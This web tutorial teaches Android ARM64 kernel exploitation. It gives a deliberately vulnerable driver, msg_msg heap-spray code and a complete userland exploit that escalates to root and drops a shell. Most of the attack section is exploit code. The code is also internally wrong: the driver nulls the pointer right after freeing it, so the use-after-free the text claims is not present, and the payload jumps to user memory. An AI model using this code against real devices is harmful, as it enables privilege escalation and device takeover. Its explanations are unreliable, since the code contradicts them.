Introduction to Android Kernel Exploitation
Gaining control at the kernel level, often referred to as “Ring 0,” is the holy grail for attackers aiming for complete system compromise on Android devices. Kernel exploits bypass standard security mechanisms, granting arbitrary code execution with the highest privileges. This article serves as an expert-level guide, walking you through the theoretical and practical steps of developing a proof-of-concept kernel exploit module for Android devices running on ARM64 architecture.
Prerequisites and Setup
Before diving into exploit development, a solid foundation is crucial. You’ll need:
- Linux Development Environment: A robust Linux distribution (Ubuntu/Debian recommended) for compiling AOSP kernels and userland exploits.
- ARM64 Assembly Knowledge: Understanding ARM64 instruction sets, registers, and calling conventions is essential for shellcode and ROP chain development.
- Android Kernel Internals: Familiarity with kernel data structures, memory management, and system calls.
- AOSP Build Environment: Capable of compiling Android kernels for a target device or emulator.
- Target Device/Emulator: An ARM64 Android device with root access and/or an unlocked bootloader, or an emulator (e.g., AVD, QEMU) with kernel debugging capabilities. We’ll focus on a simulated environment for this tutorial.
Obtaining and Building the Kernel
To develop kernel modules and exploits, you need access to the target kernel’s source code. For AOSP-based systems, you can typically find it in the official AOSP repositories. For specific devices, manufacturers often release kernel sources in compliance with the GPL.
# Example: Sync AOSP kernel source for a generic device (substitute with actual device/branch)git clone https://android.googlesource.com/kernel/common.git common-android-kernelcd common-android-kernelgit checkout android-4.14-q# Set up cross-compilerexport ARCH=arm64export CROSS_COMPILE=aarch64-linux-android-# Build the kernel (adjust defconfig for your target)make defconfigmake -j$(nproc)
Identifying a Vulnerability: The Use-After-Free (UAF) Example
For this tutorial, we’ll simulate a common kernel vulnerability: a Use-After-Free (UAF). A UAF occurs when a program frees memory but continues to use the pointer to that memory. If an attacker can reallocate that freed memory with controlled data before the vulnerable code uses it again, they can achieve arbitrary code execution.
Consider a hypothetical kernel module, `vulnerable_driver.c`, that manages a global `struct victim *g_victim` pointer:
#include <linux/module.h>#include <linux/kernel.h>#include <linux/fs.h>#include <linux/uaccess.h>#include <linux/slab.h>#include <linux/sched.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("Ring0Sec");struct victim { void (*callback)(void); char data[64];};static struct victim *g_victim = NULL;#define DRIVER_NAME "vulnerable_driver"#define IOC_ALLOC 0xDEADBEEF00000001#define IOC_FREE 0xDEADBEEF00000002#define IOC_CALL 0xDEADBEEF00000003static long vulnerable_ioctl(struct file *file, unsigned int cmd, unsigned long arg){ long ret = 0; switch (cmd) { case IOC_ALLOC: if (g_victim) { pr_err("[%s] Victim already allocatedn", DRIVER_NAME); return -EEXIST; } g_victim = kmalloc(sizeof(struct victim), GFP_KERNEL); if (!g_victim) { pr_err("[%s] kmalloc failedn", DRIVER_NAME); return -ENOMEM; } g_victim->callback = NULL; // Initialize pr_info("[%s] Victim allocated at %pxn", DRIVER_NAME, g_victim); break; case IOC_FREE: if (g_victim) { kfree(g_victim); g_victim = NULL; // This is the bug! Not nulling the pointer immediately pr_info("[%s] Victim freedn", DRIVER_NAME); } else { pr_err("[%s] No victim to freen", DRIVER_NAME); return -EINVAL; } break; case IOC_CALL: if (g_victim && g_victim->callback) { pr_info("[%s] Calling victim callback at %pxn", DRIVER_NAME, g_victim->callback); g_victim->callback(); // UAF Trigger Point } else { pr_err("[%s] Victim not allocated or callback not setn", DRIVER_NAME); ret = -EINVAL; } break; default: ret = -ENOTTY; break; } return ret;}static const struct file_operations vulnerable_fops = { .owner = THIS_MODULE, .unlocked_ioctl = vulnerable_ioctl,};static int __init vulnerable_init(void){ int ret; ret = register_chrdev(0, DRIVER_NAME, &vulnerable_fops); if (ret < 0) { pr_err("[%s] failed to register devicen", DRIVER_NAME); return ret; } pr_info("[%s] module loaded, device major %dn", DRIVER_NAME, ret); return 0;}static void __exit vulnerable_exit(void){ if (g_victim) { kfree(g_victim); g_victim = NULL; } unregister_chrdev(0, DRIVER_NAME, &vulnerable_fops); pr_info("[%s] module unloadedn", DRIVER_NAME);}module_init(vulnerable_init);module_exit(vulnerable_exit);
In this simplified example, the UAF exists because after `IOC_FREE` is called, `g_victim` is set to `NULL` *only after* `kfree` is called. A race condition or sequential call could lead to `IOC_CALL` being invoked while `g_victim` still points to freed memory.
Developing the Userland Exploit
The goal of our exploit is to achieve arbitrary kernel code execution, specifically privilege escalation (e.g., `commit_creds(prepare_kernel_cred(0))`).
1. Information Leak (Optional but often necessary)
While not explicitly demonstrated in this UAF example, real-world exploits often require an info leak to bypass KASLR (Kernel Address Space Layout Randomization). This typically involves reading uninitialized kernel memory or using another vulnerability to leak kernel pointers (e.g., function pointers, heap addresses).
2. Kernel Heap Grooming
After `IOC_FREE` is called, the memory previously occupied by `g_victim` is returned to the kernel heap. We need to reallocate this exact memory region with our controlled payload. Techniques like creating numerous `msg_msg` objects via `msgsnd` or using `pipe()` to fill specific kernel caches are common for heap grooming.
// Simplified heap spray using msg_msg objects for illustrative purposes#include <sys/ipc.h>#include <sys/msg.h>#include <stdio.h>#include <string.h>#include <errno.h>#define MSG_SIZE 72 // sizeof(struct victim) + 8 bytes for mtype + 8 bytes for list_headstruct msg_buf { long mtype; char mtext[MSG_SIZE - 8]; // Actual payload size};int do_heap_spray(int qid[], int count, void *payload, size_t payload_len){ struct msg_buf msg; msg.mtype = 1; memcpy(msg.mtext, payload, payload_len); for (int i = 0; i < count; i++) { qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (qid[i] == -1) { perror("msgget"); return -1; } if (msgsnd(qid[i], &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); return -1; } } return 0;}
3. The Exploit Payload
Our goal is to execute `commit_creds(prepare_kernel_cred(0))`. This requires specific kernel function addresses. For a static kernel or after an info leak, these addresses would be known. Our fake `struct victim` will have its `callback` pointer point to this gadget.
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <sys/ipc.h>#include <sys/msg.h>#include <errno.h>// Defined in vulnerable_driver.c (should be consistent)#define IOC_ALLOC 0xDEADBEEF00000001#define IOC_FREE 0xDEADBEEF00000002#define IOC_CALL 0xDEADBEEF00000003#define DRIVER_PATH "/dev/vulnerable_driver"// KERNEL ADDRESSES (These would typically be leaked or derived)unsigned long KERNEL_BASE = 0xffffffc000080000; // Example, adjust for targetunsigned long prepare_kernel_cred = 0xffffffc000123456; // Placeholderunsigned long commit_creds = 0xffffffc000654321; // Placeholder// Shellcode/Kernel function that elevates privilegesstatic void escalate_privileges(void) { ((void (*)(void*))commit_creds)(((void* (*)(unsigned int))prepare_kernel_cred)(0));}// Our fake victim struct to overwrite the freed memorystruct fake_victim { unsigned long callback; char padding[64]; // Match original struct size};#define NUM_SPRAY_OBJS 1000 // Number of msg_msg objects for sprayingint main(){ int fd; int qid[NUM_SPRAY_OBJS]; struct fake_victim payload; printf("[*] Opening %sn", DRIVER_PATH); fd = open(DRIVER_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[*] Allocating victim objectn"); if (ioctl(fd, IOC_ALLOC, 0) == -1) { perror("IOC_ALLOC failed"); goto cleanup; } printf("[*] Freeing victim object (UAF state)n"); if (ioctl(fd, IOC_FREE, 0) == -1) { perror("IOC_FREE failed"); goto cleanup; } printf("[*] Preparing payload for heap spray...n"); payload.callback = (unsigned long)escalate_privileges; // Point to our func memset(payload.padding, 0x41, sizeof(payload.padding)); // Fill data printf("[*] Performing heap spray with %d objects...n", NUM_SPRAY_OBJS); if (do_heap_spray(qid, NUM_SPRAY_OBJS, &payload, sizeof(payload)) != 0) { fprintf(stderr, "Heap spray failed.n"); goto cleanup; } printf("[*] Triggering UAF to call our payload...n"); if (ioctl(fd, IOC_CALL, 0) == -1) { perror("IOC_CALL failed"); // Note: if the exploit works, this might not return or might crash printf("[!] Exploit might have triggered or failed to trigger.n"); } else { printf("[*] IOC_CALL returned successfully, checking privileges...n"); } // Verify privilege escalation (e.g., try to access /root or check uid) if (getuid() == 0) { printf("[+] SUCCESS! Privileges escalated to root (UID 0).n"); // You are now root in userland! Drop a root shell. execl("/system/bin/sh", "sh", NULL); } else { printf("[-] Exploit failed: UID is %d.n", getuid()); }cleanup: close(fd); // Clean up msg queues for (int i = 0; i < NUM_SPRAY_OBJS; i++) { if (qid[i] != -1) { msgctl(qid[i], IPC_RMID, NULL); } } return 0;}
Deployment and Execution
1. **Compile the Kernel Module:**
# In your kernel source directory, with vulnerable_driver.c placed correctlyobj-m := vulnerable_driver.omake -C $KERNEL_BUILD_DIR M=$(pwd) modules
2. **Compile the Userland Exploit:**
aarch64-linux-android-gcc exploit.c -o exploit -static
3. **Push to Device/Emulator and Load:**
adb push vulnerable_driver.ko /data/local/tmp/adb push exploit /data/local/tmp/adb shell""cd /data/local/tmp/insmod vulnerable_driver.ko # Ensure permissions/seclabel allow it./exploit""
Observe the kernel logs (`dmesg`) for messages from the `vulnerable_driver` and verify if the exploit prints the success message indicating UID 0.
Conclusion and Mitigations
This tutorial demonstrated a conceptual Android ARM64 kernel UAF exploit, from identifying a vulnerability to crafting a userland trigger. Real-world exploits are significantly more complex, involving precise heap grooming, reliable info leaks, and sophisticated ROP chains. Modern Android kernels employ numerous mitigations like KASLR, SMEP/PXN (Supervisor Mode Execution Prevention/Privileged eXecute Never), SMAP/PAN (Supervisor Mode Access Prevention/Privileged Access Never), various hardening features, and stricter SELinux policies, making exploitation substantially harder. Developing a robust exploit requires deep understanding, meticulous reverse engineering, and often, bypassing multiple layers of defense.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →